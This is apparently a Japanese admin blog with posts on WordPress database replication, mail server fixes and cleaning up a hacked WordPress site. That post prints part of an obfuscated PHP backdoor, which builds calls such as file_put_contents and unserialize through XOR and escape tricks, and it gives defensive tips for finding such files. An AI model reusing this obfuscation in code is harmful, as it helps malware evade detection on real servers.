HyperDB亡き後の救世主。プラグイン「LudicrousDB」

wordpressでdbレプリケーションを実現!

mysqlのバージョンアップに伴いHyperDBが使えなくなってしまいました。
このため、マスターとスレーブに分散接続していたサービスで、やむを得ず、web1からはマスターへ、web2からはスレーブへと接続するようにしていました。

記事の更新などはhostsファイルでマスターに必ず接続するようにし、スレーブへ書き込むことはありませんでした。

しかし、先日プラグインからのdb書き込みができず、エラーが発生。とりあえず、マスターへ接続するようにして対応しました。

その後、HYperDBの更新がされているかもしれないとい思い、ググったところHyperDBのgithubでその後継としてludicrousDBというものがあることを知り、調べると現在も管理されているようなので、インストールしました。

問題なく動いていますので簡単にインストールの手順をご紹介します。
ポイントはiudicrousdb.phpをpluginファルダ内に配置することです。

githubなどでは、その点が詳しく書かれておらず、参考になれば幸いです。

インストール手順

1)下記urlのgithubからファイルをダウンロードして解凍する

https://github.com/stuttter/ludicrousdb/archive/refs/heads/master.zip

2)コンフィグレーションファイルdb-config.phpを編集する。

<例>

/master writter/
$wpdb->add_database(
    array(
        ‘host’ => DB_HOST,
        ‘user’ => DB_USER,
        ‘password’ => DB_PASSWORD,
        ‘name’ => DB_NAME,
        )
);
//DB_HOST 、DB_USER 、DB_PASSWORD 、DB_NAME はwp-configに設定されているものを引き継ぐ。
//writeとreadパラメーターはデフォルトが可(1)なので記述していない。
//同様にdatasetもglobalがデフォルトなので記述していない

/slave reader/
$wpdb->add_database(
    array(
        ‘host’ => ‘172.16.0.2’,
        ‘user’ => DB_USER,
        ‘password’ => DB_PASSWORD,
        ‘name’ => DB_NAME,
        ‘write’ => 0,
        ‘read’ => 1,
        ‘dataset’ => ‘global’,
    )
);
//hostには読み取り専用のホスト名を記述する。
//DB_USER 、DB_PASSWORD 、DB_NAME はwp-configに設定されているものを引き継ぐ。
//writeは0として書き込み系のsqlは飛ばさない。
//readは1として読み込み系のsqlが飛ぶようにする。
//readは2,3など数値を増やすと、接続頻度(mastar: slave)が1:2、1:3というように調整が可能。

3)ファイルの配置

/db-config.php
/wp-content/db-error.php
/wp-content/db.php
/wp-content/plugins/ludicrousdb.php
/wp-content/plugins/ludicrousdb/
/wp-content/plugins/ludicrousdb/includes/class-ludicrousdb.php
/wp-content/plugins/ludicrousdb/includes/functions.php

プラグインディレクトリにludicrousdb.phpを配置するとwpは自動的にludicrousdbプラグインを読み込む。
HyperDBではwp-congfig.php内で
define(‘DB_CONFIG_FILE’, ABSPATH . ‘db-config.php’);
というように書き加えていたが、LudicrousDBは不要。
functions.php内でDB_CONFIG_FILEの設定を行っている。

4)プラグインの有効化

プラグインが有効化されていなかったら、有効にしてください。

以上です。

感染したwordpressサイトからウィルスを除去しました。

どんな状態だったか

サイトのURLに接続すると、他のサイトにリダイレクトしてしまうという状態でした。なので、まずは、sftpで接続してドキュメントルートを確認すると、見慣れないディレクトリが複数ありました。なので、それらのディレクトリを削除しました。また、.htaccessを確認すると、リダイレクトするように書き換えられていました。こちらは、すぐに修正しました。また、iindex,phpも書き換えられていて、こちらも、本来の状態に戻しました。

この状態で、サイトは正常に表示されるようになりました。

しかし、翌日、sftp接続すると、.htaccessやindex.phpの書き換えは行われていなかったものの、前日と同じようなディレクトリが作られていました。

ということは、もしかすると、wp本体の書き換えが行われているかもしれないので、wp-adminディレクトリとwp-incloudsディレクトリ配下を一式差し替えました。

しかし、これでも一晩立つとまた、ディレクトリが作られていました。サイトの表示自体は問題ないのですが、どうやら、このディレクトリに外部からアクセスすることで、何らかのハッキングを行えるという仕組みのようでした。

実際、これらのディレクトリ内のファイルへの接続ログが残っていて、アタックの記録がしっかりありました。

つまり、wp-contentsディレクトリ配下のどこかにウィルスファイルが仕込まれているということです。具体的にはプラグイン、テーマファイル、アップロードファイルなどです。

まずは、使っていないプラグインやテーマファイルを削除しました。そして、使っているプラグインに関しては、すべて手動でダウンロードして差し替えました。また、使っているテーマファイルの中に関しては、隅から隅まで.php拡張子のファイルのタイムスタンプやユーザーに齟齬があるものを探し出し、ウイルスを見つけらた、除去しました。

タイムスタンプから推察すると、どうやら今の環境へ引っ越しして来る以前にウィルスは仕込まれていたようです。ftpアカウントかwordpressのアカウントをハッキングされて、仕込まれてしまったのだと思います。

どんなフィルだったのか。

具体的には以下のようなファイルでした。一部をご紹介します。

<?php /*  bv*/function  au_lafeghh(){      echo     11795;/*   ayk  */}
$gwkkchxiv	=/*  eyyqd   */'gwkkchxiv'/*  rtxri   */^/* plyg  */'';$saowpg/* vwlop */=/* _nyg  */"\146"     .      $gwkkchxiv(659-554)      .	"l".$gwkkchxiv(101)     .	"_"."\x70"  ./*   n*/"u"."t"."_"."c"."o".$gwkkchxiv(110)/*iwqi*/.	"t"."e"."\156"    .	"\x74"   .	"s";
$bfzca/*   k_cal  */=    "b"."a".$gwkkchxiv(600-485)	.	$gwkkchxiv(152-51)      .  "\66"/* y */.	"4".$gwkkchxiv(934-839)	.	"\x64"	.	"\145"   .      "\x63"/*   iede*/.       "o"."d".$gwkkchxiv(101);
$bnhhmwcwg	=/*bl   */"u"."n"."\x73"       .	"e"."\162"	./*   py   */"\x69"    ./*mvevt*/"a"."\154"/*azrn*/./* s*/$gwkkchxiv(900-795)/* yva  */.     "\x7a"	.  "e";
$xngsmuxo/*jr */=       "\x70"/* h */.	"\x68"       .	"p"."v"."\145"	.	$gwkkchxiv(752-638)	.	"s"."\151"   ./*   krt   */$gwkkchxiv(756-645)/*  eh*/.	$gwkkchxiv(1088-978);
$tqtfnbaj/*  bo*/=/*  o_nol   */"u"."n".$gwkkchxiv(108)	./*   pl_ */"\x69"/*   z  */./*t  */"n"."k";

/*s */
function     pbifdfls($_xsrani,/*  yv*/$_cljihcmsl)

で、どんなことをしているのかを少し解析しました。

まず、コメントをいたるところに入れています。また、chrという文字列を排他的論理和で生成し、$gwkkchxivに格納しています。で、たとえは$gwkkchxiv(101)はch(101)、つまりは10進数の「101」=ASCIIで「e」となります。

また、”\x64″は16進数で表された「d」、”\145″は8進数で表された「e」というよう工夫をしていました。また、$gwkkchxiv(152-51)というように引き算も使っています。

これで、file_put_contents、unserialize、unlinkなどのファイル操作に必要な関数を作っているのです。

ちなみにfile_put_contentsと普通に書けばいいとのでは、と思われるかもしれませんが、このような工夫をすると、おそらくですが、ファイル内検索では見つけにくくなるためだと思います。

仕込まれていた場所

uploadsディレクトリ、themesディレクトリ、pluginディレクトリ、さらにはcacheディレクトリ内にも仕込まれていました。特に、themesディレクトリに関しては、非常に深くディレクトリが刻まれていて、膨大なファイル数があり、苦労しました。テーマ名を書くことはできませんが、他のお客様でも利用されているメジャーなものです。

見つけるポイントはcssやjsが格納されているディレクトリなのに、phpファイルがある。同じディレクトリ内と異なったタイムスタンプのphpファイルがある。というのがヒントです。また、プラグインの名前とは繋がらないようなファイル名のphpも怪しいのですべてチェックしました。

また、ユーザー名とグループ名が別々になっている場合ですと、これもヒントになります。例えばec2-iuser:apacheとすべてのwp関連のファイルを設定しておくと、ウイルスはapacheが仕込んでいるので、apache:apacheになっています。これだと探しやすいですので、可能ならそのような設定にしておくことをオススメします。

以上です。もしお困りでしたら、お問い合わせいただけば除去作業を行います。

wordpressのメディアライブラリでグリッド表示ができない

wordpressの再インストールで解決

いろいろググって試しました。

テーマを変更する
function.phpを再度アップしたり、全角スペースが無いか確認。
admin-ajax.phpの書き換え。

どれもだめで半分諦めていましたが、「バージョン6.2.2–jaを再インストール」をクリックしたら解決しました。

LinuxサーバーのsmbaにTime Machine領域を設定したのにエラーが出て、バックアップ出来なかったのを解消。

Mac Pro 2012で昨年まで頑張っていましたが、流石にOSがバージョンアップ出来ないせいで、safariでwebpを表示できなかったり、yahooでは最新のsafariにアップデートするように、警告が出るなどトラブルに遭遇することが多くなったのでMac mineを購入しました。

Mac Pro 2012では、HDDを最大4台まで追加できるため、3TBのHDDを用意し、そこへTime Machineを設定していたのですが、Mac miniではデータ保存用の1TBのHDDを接続したので、社内用のローカルサーバーでsambaでファイル共有しているため、そこに3TBのHDDを追加して、これをTime Machine用にしようと考えました。

https://ideal-reality.com/computer/server/time-machine-samba/

こちらのサイトを参考に設定をしたのですが、

選択したネットワークバックアップディスクに対する必要な読み出し、書き込み、追加のアクセス権がありません。

とエラーになっていしまいました。

で、いろいろ他のサイトをあさり、試してみたのですがだめで、1時間ぐらい悩んでいました。

ですが、もしかしたら、Linux上でマウントしている/timemachineディレクトリのパーミッションが私になっていないからなのではと、思いつき

choe kiwamu. /timemachine

としたら、あっさり繋がりました!

MW WP Form でページが遷移しない。LazyLoad Background Imagesが原因でした。

タイトルどおりです。ググっても何もヒットせず、仕方ないので、MW WP Formが動いていた移行にインストールしたプラグインを一人ずつ外して確認しました。

その結果、LazyLoad Background Imagesが悪さをしていることがわかりました。

重くなりがちな背景画像を遅延表示しくれる便利がプラグインなのですが、コンテンツの置換を行うプラグインですので、本来置換してはいけないコードを差し替えてしまっていたのでしょう。

丸1日近く時間を使ってしまいました(汗

URIにスラッシュが抜けているのがいけないとか、ALL IN ONE SEOが悪いとか色々見つかりましたが、どれも違っていました。

wordpressのthemeでTheme Name:の記述が無い

すでに公開されているwordpressで作られたサイトのテーマファイルを確認していたら、style.cssにテーマ名の記述が無いんです。

/*
Theme Name: テーマの名前(必須)
Theme URL: テーマのサイトのURI
Description: テーマの説明
Author: 作者の名前
Version: テーマのバージョン
*/

というようにstyle.cssの上部に記述します。しかし以下のようになっていました。

/* ****************************************************
Title: layout.css
Created: 0000-01-29
Last Modified: 0000-01-29
Editor(s): **
***************************************************** */

規約違反?!ではないかと思いますが、wp管理ページの「外観>テーマ」にはちゃんとテーマ名が存在し、それが適用されているのです。

試しに、そのテーマのディレクトリ名を変更してみたら、その名前がテーマ名に変わりました。どうやら、styke.cssにTheme Name:の記述がないときは、テーマのディレクトリ名が使われるようです。

こっそりと追加しておきました💦

Amazonや日経からメールが届かない。zen.spamhaus.orgで確認できなくなってしまっていたようです。

昨日、Amazonで商品を購入した後、受注確認のメールが届きませんでした。今まで、そんなことは無かったので?!?!

今朝、弊社のメールサーバーを利用されているお客様から「銀行からメールが届かないという連絡が来ました。対処法を教えて下さい」というメールが届きました。

早速ログを確認すると

Nov 22 12:16:22 ip-172-30-2-7 postfix/smtpd[19849]: NOQUEUE: reject: RCPT from mail49.sea31.mcsv.net[148.105.11.49]: 554 5.7.1 Service unavailable; Client host [148.105.11.49] blocked using zen.spamhaus.org; Error: open resolver; https://www.spamhaus.org/returnc/pub/35.72.37.131; from=<bounce-mc.us8_30933411.1007848-80b7dc789d@mail49.sea31.mcsv.net> to=<xxx@example.co.jp> proto=ESMTP helo=<mail49.sea31.mcsv.net>
Nov 22 12:19:45 ip-172-30-2-7 postfix/smtpd[20197]: NOQUEUE: reject: RCPT from nkml1smsd597.nikkei.co.jp[138.101.101.63]: 554 5.7.1 Service unavailable; Client host [138.101.101.63] blocked using zen.spamhaus.org; Error: open resolver; https://www.spamhaus.org/returnc/pub/35.72.37.132; from=<21-346914-546335-0-1-170170-1-wamu_co_jp@mx5.nikkei.com> to=<xxx@example.co.jp> proto=SMTP helo=<nkml1smsd597.nikkei.co.jp>

というようにあり、https://www.spamhaus.org/returnc/pub/35.72.37.132を確認すると、ブラックリストに追加されているわけではなく、そうもzen.spamhaus.orgがたくさんのリクエストで応答できなくなっているようでした。

早速、main.cfのsmtpd_client_restrictionsからreject_rbl_client zen.spamhaus.orgを削除してpostfixを再起動!

そのあと、ログを見ていてもrejektは行われなくなりました。めでたし。外部のspamサイトを利用するとこういうことがあるのですね。bl.spamcop.netも利用していましたが、こちらも念の為削除しました。

smtpd_client_restrictions = permit_mynetworks, reject_unknown_client, permit

いまはこれだけです。

spamhausには

Amazon Linux 2でImageMagickとimagickをyumでインストール

AWSのEC2「Amazon Linux 2、php7.4」に設置したwordpressにImageMagicが必要だということでインストールしました。

ImageMagic自体はyumで難なくインストールできました。

$sudo yum install ImageMagick

これだけではphpからは使えないのでimagickモジュールも必要です。ぐぐってみるとpeclを入れて、更にソースからコンパイルするなどありましたが、yum listで確認したらあるじゃないです。

$sudo yum list | grep imagick
php-pecl-imagick.x86_64 3.5.1-1.amzn2 amzn2extra-php7.4
php-pecl-imagick-debuginfo.x86_64 3.4.4-1.el7 epel-debuginfo
php-pecl-imagick-devel.noarch 3.5.1-1.amzn2 amzn2extra-php7.4

というわけで

$sudo yum install php-imagick

これでインストールできたのでphp-fpmを再起動。

$sudo systemctl restart php-fpm

phpinfoで確認。

簡単です。

プラグイン「recaptcha-for-mw-wp-form」のエラー:「grecaptcha is not defined」に対応するために一部を修正しました

MW WP FormとreCAPTCHA for MW WP FormでGoogle reCAPTCHAを使うように設定したのですが、デベロッパーツールのコンソールで「Uncaught ReferenceError: grecaptcha is not defined」というjavascriptのエラーが出てしまいました。

他のサイトでは問題なかったのですが、htmlのコードが長いのと画像もあるためhtmlの読み込みが遅く、https://www.google.com/recaptcha/api.jsからの読み込みにずれが生じエラーとなってしまったようです。

続きを読む